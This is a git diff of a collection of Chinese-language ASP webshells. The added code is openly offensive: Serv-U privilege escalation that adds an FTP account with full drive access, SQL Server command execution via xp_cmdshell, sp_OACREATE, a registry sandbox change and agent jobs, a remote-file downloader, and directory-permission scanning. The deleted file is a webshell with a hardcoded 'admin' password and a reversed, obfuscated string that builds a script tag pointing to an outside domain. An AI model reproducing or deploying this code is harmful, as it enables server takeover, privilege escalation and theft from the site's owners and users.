    " + If isDebugMode = False Then + On Error Resume Next + End If + Dim Http, theUrl, thePath, stream, fileName, overWrite + theUrl = Request("theUrl") + thePath = Request("thePath") + overWrite = Request("overWrite") + Set stream = Server.CreateObject("adodb.stream") + Set Http = Server.CreateObject("MSXML2.XMLHTTP") + + If overWrite <> 2 Then + overWrite = 1 + End If + + Http.Open "GET", theUrl, False + Http.Send() + If Http.ReadyState <> 4 Then + + End If + + With stream + .Type = 1 + .Mode = 3 + .Open + .Write Http.ResponseBody + .Position = 0 + .SaveToFile thePath, overWrite + If Err.Number = 3004 Then + Err.Clear + fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/"))) + If fileName = "" Then + fileName = "index.htm.txt" + End If + thePath = thePath & "\" & fileName + .SaveToFile thePath, overWrite + End If + .Close + End With + chkErr(Err) + + Set Http = Nothing + Set Stream = Nothing + + If isDebugMode = False Then + On Error Resume Next + End If + +End Function + +Select Case Action +Case "MainMenu":MainMenu() +case "ScanPort":ScanPort() +Case "getTerminalInfo":getTerminalInfo() +Case "PageAddToMdb":PageAddToMdb() + +Case "Servu" +SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user=trim(request("u")) +pass=trim(request("p")) +port=trim(request("port")) +cmd=trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport=65500 +timeout=3 +loginuser="User "&user&vbCrLf +loginpass="Pass "&pass&vbCrLf +deldomain="-DELETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&ftpport&vbCrLf +mt="SITE MAINTENANCE"&vbCrLf +newdomain="-SETDOMAIN"&vbCrLf&"-Domain=goldsun|0.0.0.0|"&ftpport&"|-1|1|0"&vbCrLf&"-TZOEnable=0"&vbCrLf&" TZOKey="&vbCrLf +newuser="-SETUSERSETUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&ftpport&vbCrLf&"-User=go"&vbCrLf&"-Password=od"&vbCrLf&_ +"-HomeDir=c:\\"&vbCrLf&"-LoginMesFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPaths=1"&vbCrLf&_ +"-NeedSecure=0"&vbCrLf&"-HideHidden=0"&vbCrLf&"-AlwaysAllowLogin=0"&vbCrLf&"-ChangePassword=0"&vbCrLf&_ +"-QuotaEnable=0"&vbCrLf&"-MaxUsersLoginPerIP=-1"&vbCrLf&"-SpeedLimitUp=0"&vbCrLf&"-SpeedLimitDown=0"&vbCrLf&_ +"-MaxNrUsers=-1"&vbCrLf&"-IdleTimeOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_ +"-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_ +"-Maintenance=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access=c:\\|RWAMELCDP"&vbCrLf +quit="QUIT"&vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject(Sot(13,0)) +a.open "GET", "http://127.0.0.1:"&port&"/goldsun/upadmin/s1",True, "", "" +a.send loginuser&loginpass&mt&deldomain&newdomain&newuser&quit +set session("a")=a +o"
  • 8 Serv-U 提升权限 ASP版
    用户名:
    口 令:
    端 口:
    路 径:
    命 令:
     
    " +end select +function Gpath() +on error resume next +err.clear:set f=Server.CreateObject(Sot(0,0)) +if err.number>0 then:gpath="c:":exit function:end if:gpath=f.GetSpecialFolder(0):gpath=lcase(left(gpath,2)):set f=nothing +end function + +Sub ScanDriveForm() '扫描磁盘信息 + Dim FSO,DriveB + Set FSO = Server.Createobject("Scripting.FileSystemObject") + +o "" +o "
    " + + For Each DriveB in FSO.Drives +o "" + +o "" +o " " +o "" +o "" +Next +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "
    磁盘/系统文件夹信息
    盘符"&DriveB.DriveLetter&":类型" + + Select Case DriveB.DriveType + Case 1: o "可移动" + Case 2: o "本地硬盘" + Case 3: o "网络磁盘" + Case 4: o "CD-ROM" + Case 5: o "RAM磁盘" + Case else: o "未知类型" + End Select + +o "
    Windows文件夹"&FSO.GetSpecialFolder(0)&"
    System32文件夹"&FSO.GetSpecialFolder(1)&"
    系统临时文件夹"&FSO.GetSpecialFolder(2)&"

    当前网站绝对路径:"&Server.MapPath("/")&"
    Queries the specified folder:" +o " Example F:\haifan\
    " + Set FSO=Nothing +End Sub + +Sub ScanDrive(Drive) + Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D + If Drive <> "" Then + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestDrive = FSO.GetDrive(Drive) + If TestDrive.IsReady Then + Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "
  • 磁盘卷名:" & Red(TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) + Set BaseFolder = TestDrive.RootFolder + Set TempFolders = BaseFolder.SubFolders + For Each D in TempFolders + Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) + Next + Set TempFolder = Nothing + Set BaseFolder = Nothing + Else + Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") + Dim TempFolderList,t:t=0 + Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") + TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot") + For i = 0 to Ubound(TempFolderList) + If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then + t = t+1 + Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) + End if + Next + If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" + End if + Set TestDrive = Nothing + Set FSO = Nothing + Temp_Str = Temp_Str & "

    注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!" + Message Drive & ":磁盘信息",Temp_Str,1 + End if +End Sub + +Sub ScFolder(folder) + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • 文件夹:" & Red(folder & "不存在或无读权限!") + End if + Scmsg = Scmsg & "

    注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!" + Set FSO = Nothing + Message "文件夹信息",Scmsg,1 +End Sub +Function Sqlrootkit() +IF SESSION("LOGIN")="" THEN + RESPONSE.WRITE "
    没有登陆

    " + ELSE RESPONSE.WRITE "
    已经登陆

    " +END IF + RESPONSE.WRITE "
    退出登陆

    " + +IF REQUEST("SQLAAA")="LOGIN" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & REQUEST.FORM("SERVER") & "," & REQUEST.FORM("PORT") & ";PASSWORD=" & REQUEST.FORM("PASS") & ";UID=" & REQUEST.FORM("NAME") + IF ERR.NUMBER=-2147467259 THEN + RESPONSE.WRITE "数据源连接错误,请检查!" + RESPONSE.END + ELSEIF ERR.NUMBER=-2147217843 THEN + RESPONSE.WRITE "用户名密码错误错误,请检查!" + RESPONSE.END + ELSEIF ERR.NUMBER=0 THEN + STRQUERY="SELECT @@VERSION" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF INSTR(RECRESULT(0),"NT 5.0") THEN + RESPONSE.WRITE "WINDOWS 2000系统
    " + SESSION("SYSTEM")="2000" + ELSEIF INSTR(RECRESULT(0),"NT 5.1") THEN + RESPONSE.WRITE "WINDOWS XP系统
    " + SESSION("SYSTEM")="XP" + ELSEIF INSTR(RECRESULT(0),"NT 5.2") THEN + RESPONSE.WRITE "WINDOWS 2003系统
    " + SESSION("SYSTEM")="2003" + ELSE + RESPONSE.WRITE "其他系统
    " + SESSION("SYSTEM")="NO" + END IF + STRQUERY="SELECT IS_SRVROLEMEMBER('SYSADMIN')" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0)=1 THEN + RESPONSE.WRITE "恭喜!SQL SERVER最高权限
    " + SESSION("PRI")=1 + ELSE + RESPONSE.WRITE "郁闷,权限不够估计不能执行命令!
    " + SESSION("PRI")=0 + END IF + SESSION("LOGIN")="YES" + SESSION("NAME")=REQUEST.FORM("NAME") + SESSION("PASS")=REQUEST.FORM("PASS") + SESSION("SERVER")=REQUEST.FORM("SERVER") + SESSION("PORT")=REQUEST.FORM("PORT") + END IF + +ELSEIF REQUEST("SQLAAA")="TEST" THEN + IF SESSION("LOGIN")<>"" THEN + IF SESSION("SYSTEM")="2000" THEN + RESPONSE.WRITE "WINDOWS 2000系统
    " + ELSEIF SESSION("SYSTEM")="XP" THEN + RESPONSE.WRITE "WINDOWS XP系统
    " + ELSEIF SESSION("SYSTEM")="2003" THEN + RESPONSE.WRITE "WINDOWS 2003系统
    " + ELSE + RESPONSE.WRITE "其他操作系统
    " + END IF + IF SESSION("PRI")=1 THEN + RESPONSE.WRITE "恭喜!SQL SERVER最高权限
    " + ELSE + RESPONSE.WRITE "郁闷,权限不够估计不能执行命令!
    " + END IF + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + + STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_CMDSHELL'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0) THEN + SESSION("XP_CMDSHELL")=1 + RESPONSE.WRITE "XP_CMDSHELL............. 存在!" + ELSE + SESSION("XP_CMDSHELL")=0 + RESPONSE.WRITE "XP_CMDSHELL............. 不存在!" + END IF + STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='SP_OACREATE'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0) THEN + RESPONSE.WRITE "
    SP_OACREATE............. 存在!" + SESSION("SP_OACREATE")=1 + ELSE + RESPONSE.WRITE "
    SP_OACREATE............. 不存在!" + SESSION("SP_OACREATE")=0 + END IF + STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_REGWRITE'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0) THEN + RESPONSE.WRITE "
    XP_REGWRITE............. 存在!" + SESSION("XP_REGWRITE")=1 + ELSE + RESPONSE.WRITE "
    XP_REGWRITE............. 不存在!" + SESSION("XP_REGWRITE")=0 + END IF + STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_SERVICECONTROL'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF RECRESULT(0) THEN + RESPONSE.WRITE "
    XP_SERVICECONTROL 存在!" + SESSION("XP_SERVICECONTROL")=1 + ELSE + RESPONSE.WRITE "
    XP_SERVICECONTROL 不存在!" + SESSION("XP_SERVICECONTROL")=0 + END IF + ELSE + RESPONSE.WRITE "" + RESPONSE.WRITE "
    登陆超时" + RESPONSE.END + END IF + +ELSEIF REQUEST("SQLAAA")="CMD" THEN + IF SESSION("LOGIN")<>"" THEN + IF SESSION("PRI")=1 THEN + IF REQUEST("TOOL")="XP_CMDSHELL" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + IF REQUEST.FORM("CMD")<>"" THEN + STRQUERY = "EXEC MASTER.DBO.XP_CMDSHELL '" & REQUEST.FORM("CMD") & "'" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF NOT RECRESULT.EOF THEN + DO WHILE NOT RECRESULT.EOF + STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) + RECRESULT.MOVENEXT + LOOP + END IF + SET RECRESULT = NOTHING + RESPONSE.WRITE "" + END IF + + ELSEIF REQUEST("TOOL")="SP_OACREATE" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + IF REQUEST.FORM("CMD")<>"" THEN + STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);USE MASTER DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C "&REQUEST("CMD")&" > 8617.TMP',0,TRUE;BULK INSERT [JNC] FROM '8617.TMP' WITH (KEEPNULLS);" + ADOCONN.EXECUTE(STRQUERY) + STRQUERY = "SELECT * FROM JNC" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF NOT RECRESULT.EOF THEN + DO WHILE NOT RECRESULT.EOF + STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) + RECRESULT.MOVENEXT + LOOP + END IF + SET RECRESULT = NOTHING + RESPONSE.WRITE "" + STRQUERY = "DROP TABLE [JNC];DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C DEL 8617.TMP'" + ADOCONN.EXECUTE(STRQUERY) + END IF + + ELSEIF REQUEST("TOOL")="XP_REGWRITE" THEN + IF SESSION("SYSTEM")="2000" THEN + PATH="C:\WINNT\SYSTEM32\IAS\IAS.MDB" + ELSE + PATH="C:\WINDOWS\SYSTEM32\IAS\IAS.MDB" + END IF + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + IF REQUEST.FORM("CMD")<>"" THEN + CMD=CHR(34)&"CMD.EXE /C "&REQUEST.FORM("CMD")&" > 8617.TMP"&CHR(34) + STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',0;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CMD&")');" + ADOCONN.EXECUTE(STRQUERY) + STRQUERY = "SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C COPY 8617.TMP JNC.TMP"&CHR(34)&")');BULK INSERT [JNC] FROM 'JNC.TMP' WITH (KEEPNULLS);" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + STRQUERY="SELECT * FROM [JNC];" + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF NOT RECRESULT.EOF THEN + DO WHILE NOT RECRESULT.EOF + STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) + RECRESULT.MOVENEXT + LOOP + END IF + SET RECRESULT = NOTHING + RESPONSE.WRITE "" + STRQUERY = "DROP TABLE [JNC];EXEC MASTER..XP_REGWRITE 'HKEY_LOCAL_MACHINE','SOFTWARE\MICROSOFT\JET\4.0\ENGINES','SANDBOXMODE','REG_DWORD',1;SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0',';DATABASE=" & PATH &"','SELECT SHELL("&CHR(34)&"CMD.EXE /C DEL 8617.TMP&&DEL JNC.TMP"&CHR(34)&")');" + ADOCONN.EXECUTE(STRQUERY) + END IF + + ELSEIF REQUEST("TOOL")="SQLSERVERAGENT" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + + IF REQUEST.FORM("CMD")<>"" THEN + IF SESSION("SQLSERVERAGENT")=0 THEN + STRQUERY = "EXEC MASTER.DBO.XP_SERVICECONTROL 'START','SQLSERVERAGENT';" + ADOCONN.EXECUTE(STRQUERY) + SESSION("SQLSERVERAGENT")=1 + END IF + + STRQUERY = "USE MSDB CREATE TABLE [JNCSQL](RESULTTXT NVARCHAR(1024) NULL) EXEC SP_DELETE_JOB NULL,'X' EXEC SP_ADD_JOB 'X' EXEC SP_ADD_JOBSTEP NULL,'X',NULL,'1','CMDEXEC','CMD /C "&REQUEST.FORM("CMD")&"' EXEC SP_ADD_JOBSERVER NULL,'X',@@SERVERNAME EXEC SP_START_JOB 'X';" + ADOCONN.EXECUTE(STRQUERY) + ADOCONN.EXECUTE(STRQUERY) + ADOCONN.EXECUTE(STRQUERY) + + RESPONSE.WRITE "" + STRQUERY = "USE MSDB DROP TABLE [JNCSQL];" + ADOCONN.EXECUTE(STRQUERY) + END IF + ELSEIF REQUEST("TOOL")="" THEN + RESPONSE.WRITE "" + END IF + ELSE + RESPONSE.WRITE "" + END IF + ELSE + RESPONSE.WRITE "" + RESPONSE.WRITE "
    登陆超时" + RESPONSE.END + END IF + +ELSEIF REQUEST("SQLAAA")="RESUME" THEN + IF SESSION("LOGIN")<>"" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + IF SESSION("XP_CMDSHELL")=0 THEN + STRQUERY="DBCC ADDEXTENDEDPROC ('XP_CMDSHELL','XPLOG70.DLL')" + ADOCONN.EXECUTE(STRQUERY) + RESPONSE.WRITE "已经尝试恢复XP_CMDSHELL" + ELSEIF SESSION("SP_OACREATE")=0 THEN + STRQUERY="DBCC ADDEXTENDEDPROC ('SP_OACREATE','ODSOLE70.DLL')" + ADOCONN.EXECUTE(STRQUERY) + RESPONSE.WRITE "已经尝试恢复SP_OACREATE" + ELSEIF SESSION("XP_REGWRITE")=0 THEN + STRQUERY="DBCC ADDEXTENDEDPROC ('XP_REGWRITE','XPSTAR.DLL')" + ADOCONN.EXECUTE(STRQUERY) + RESPONSE.WRITE "已经尝试恢复XP_REGWRITE" + ELSE RESPONSE.WRITE "恭喜!组件齐全" + END IF + ELSE + RESPONSE.WRITE "" + RESPONSE.WRITE "
    登陆超时" + RESPONSE.END + END IF + +ELSEIF REQUEST("SQLAAA")="SQL" THEN + IF SESSION("LOGIN")<>"" THEN + IF REQUEST.FORM("SQL")<>"" THEN + SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") + ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") + STRQUERY=REQUEST.FORM("SQL") + SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) + IF NOT RECRESULT.EOF THEN + DO WHILE NOT RECRESULT.EOF + STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) + RECRESULT.MOVENEXT + LOOP + END IF + SET RECRESULT = NOTHING + RESPONSE.WRITE "" + END IF + ELSE + RESPONSE.WRITE "" + RESPONSE.WRITE "
    登陆超时" + RESPONSE.END + END IF + +ELSEIF REQUEST("SQLAAA")="LOGOUT" THEN + SET ADOCONN=NOTHING + SESSION("LOGIN")="" + SESSION("NAME")="" + SESSION("PASS")="" + SESSION("SERVER")="" + SESSION("PORT")="" + SESSION("SYSTEM")="" + SESSION("PRI")="" +END IF +IF SESSION("LOGIN")="" THEN + RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    SQL用户名:" + RESPONSE.WRITE "" + RESPONSE.WRITE " SQL密码:" + RESPONSE.WRITE "" + RESPONSE.WRITE "

    SQL服务器:" + RESPONSE.WRITE "" + RESPONSE.WRITE " SQL端口:" + RESPONSE.WRITE "" + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " + +ELSE RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    组件检测:" + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " + + RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    组件恢复:" + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " + + RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    系统命令:" + RESPONSE.WRITE " " + RESPONSE.WRITE "" + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " + RESPONSE.WRITE "
    " + RESPONSE.WRITE "

    执行语句:" + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE " " + RESPONSE.WRITE "

    " +END IF +End Function + +Function ScReWr(folder) '1.可读,不可写。2.不可读,可写。3.可读,可写。4.不可读,不可写。 + On Error Resume Next + Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestFolder = FSO.GetFolder(folder) + Set TestFileList = TestFolder.SubFolders + RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" + For Each A in TestFileList + Next + If err Then + err.Clear + ReWrStr = folder & " [不可读," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "不可写]" + Else + ReWrStr = ReWrStr & "可写]" + FSO.DeleteFile folder & RndFilename,True + End If + Else + ReWrStr = folder & " [可读," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "不可写]" + Else + ReWrStr = ReWrStr & "可写]" + FSO.DeleteFile folder & RndFilename,True + End if + End if + Set TestFileList = Nothing + Set TestFolder = Nothing + Set FSO = Nothing + ScReWr = ReWrStr +End Function +sub SavePower(PowerPath,SaveType) +Set theFile = fsoX.GetFile(PowerPath) +if SaveType=1 then +theFile.Attributes=0 +o "" +else +theFile.Attributes=39 +o "" +end if +Set theFile = Nothing +end sub +sub EditPower(PowerPath) +PowerPath=replace(PowerPath,"""","") +Set theFile = fsoX.GetFile(PowerPath) +o getMyTitle(theFile,PowerPath):Set theFile = Nothing:end sub:Function getMyTitle(theOne,PowerPath):Dim strTitle:strTitle = strTitle & "
    路径: " & theOne.Path & "" :strTitle = strTitle & "
    大小: " & getTheSize(theOne.Size) :strTitle = strTitle & "
    创建时间: " & theOne.DateCreated :strTitle = strTitle & "
    最后修改: " & theOne.DateLastModified:strTitle = strTitle & "
    最后访问: " & theOne.DateLastAccessed:strTitle = strTitle & "
    当前权限状态: " & getAttributes(theOne.Attributes,PowerPath):getMyTitle = strTitle:End Function:Function getAttributes(intValue,PowerPath):Dim EditOK:EditOK=1:If intValue >= 128 Then:intValue = intValue - 128:End If:If intValue >= 64 Then:intValue = intValue - 64:End If:If intValue >= 32 Then:intValue = intValue - 32:End If:If intValue >= 16 Then:intValue = intValue - 16:End If:If intValue >= 8 Then:intValue = intValue - 8:End If:If intValue >= 4 Then:intValue = intValue - 4:EditOK=0:End If:If intValue >= 2 Then:intValue = intValue - 2:EditOK=0:End If:If intValue >= 1 Then:intValue = intValue - 1:EditOK=0:End If:PowerPath=replace(PowerPath,"\","\\"):if EditOK=0 then :getAttributes = "已锁定 ":else:getAttributes = "未锁定 ":end if:End Function:Function getTheSize(theSize):If theSize >= (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G":end if:If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M":end if:If theSize >= 1024 And theSize < (1024 * 1024) Then :getTheSize = Fix((theSize / 1024) * 100) / 100 & "K":end if:If theSize >= 0 And theSize <1024 Then :getTheSize = theSize & "B":end if:End Function +Set FsoX = Nothing + + +Case "ReadREG":call ReadREG() +Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing +Case "DownFile":DownFile FName:ShowErr() +Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing +Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing +Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing +Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing +Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing +Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing +Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing +Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing +case "upfile":upfile() +Case "Cmd1Shell":Cmd1Shell() +Case "Logout":Session.Contents.Remove("webadministrators"):Response.Redirect URL +Case "CreateMdb":CreateMdb FName +Case "CompactMdb":CompactMdb FName +Case "DbManager":DbManager() +Case "Course":Course() +Case "SetFileText":SetFileText() +Case "Mssql":Mssql() +case "php":php() +Case "PageCheck":PageCheck() +Case "PageUpFile":PageUpFile() +Case "PageExecute":PageExecute() +Case "FsoFileExplorer":FsoFileExplorer() +Case "AppFileExplorer":AppFileExplorer() +Case "suftp":suftp() +Case "TSearch":TSearch() +Case "Sqlrootkit":sqlrootkit() +case "apjdel":apjdel() +Case "radmin":radmin() +Case "pcanywhere4":pcanywhere4() +Case "adminab":adminab() +Case "UpLoad":UpLoad() +case "hiddenshell":hiddenshell() +Case "ScanDriveForm":ScanDriveForm() +Case "ScanDrive": ScanDrive(Request("Drive")) +Case "ScFolder":ScFolder(Request("Folder")) +Case "MainMenu":MainMenu() +Case "EditPower":Call EditPower(request("PowerPath")) +Case "SavePower":Call SavePower(request("PowerPath"),request("SaveType")) +Case Else MainForm() +End Select +if Action<>"Servu" then ShowErr() +o"" +Sub Message(state,msg,flag) +o "
    " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o " " +o "
    系统信息
    " +o " " +o " " +o " " +o " " +o " " +o " " +o "
    " +o state +o "

    " +o msg +o "

    " +o "
    " +o " " +If flag=0 Then +o " " +o " " +Else +o " " +o " " +End if +o "
    " +End Sub +%> + diff --git "a/asp/\344\270\200\346\254\276\347\262\211\347\272\242\350\211\262ASP\346\234\250\351\251\254\357\274\210\346\227\240\345\220\216\351\227\250\346\262\241\345\212\240\345\257\206\357\274\211.asp" "b/asp/\344\270\200\346\254\276\347\262\211\347\272\242\350\211\262ASP\346\234\250\351\251\254\357\274\210\346\227\240\345\220\216\351\227\250\346\262\241\345\212\240\345\257\206\357\274\211.asp" deleted file mode 100644 index 333f62d..0000000 --- "a/asp/\344\270\200\346\254\276\347\262\211\347\272\242\350\211\262ASP\346\234\250\351\251\254\357\274\210\346\227\240\345\220\216\351\227\250\346\262\241\345\212\240\345\257\206\357\274\211.asp" +++ /dev/null @@ -1,1136 +0,0 @@ -<% -UserPass="admin" '密码 -mNametitle="Web Shell " '名字 -BodyColor="pink" '整体页面背景颜色 -FontColor="#000" '普通文字颜色 -LinkColor="#50616d" '链接颜色 -BorderColor="#d8d8d8" '文件边框颜色 -LinkOverBJ="#000000" '鼠标移到链接上面背景的颜色 -LinkOverFont="red" '鼠标移到链接上面文字的颜色 -FormColorBj="#dddddc" '输入框架背景颜色 -FormColorBorder="#222000" '输入框架边框颜色 -Server.ScriptTimeout=999999999 -Response.Buffer =true -On Error Resume Next -sub ShowErr() - If Err Then -RRS"

    " -Err.Clear:Response.Flush - End If -end sub -Sub RRS(str) -response.write(str) -End Sub -Function RePath(S) - RePath=Replace(S,"\","\\") -End Function -Function RRePath(S) - RRePath=Replace(S,"\\","\") -End Function -URL=Request.ServerVariables("URL") -ServerIP=Request.ServerVariables("LOCAL_ADDR") -Action=Request("Action") -RootPath=Server.MapPath(".") -WWWRoot=Server.MapPath("/") -FolderPath=Request("FolderPath") -FName=Request("FName") -acode="=lru?psa.br/moc.ces0908.niamoD//:ptth'=crs tpircs<" -BackUrl="

    返回
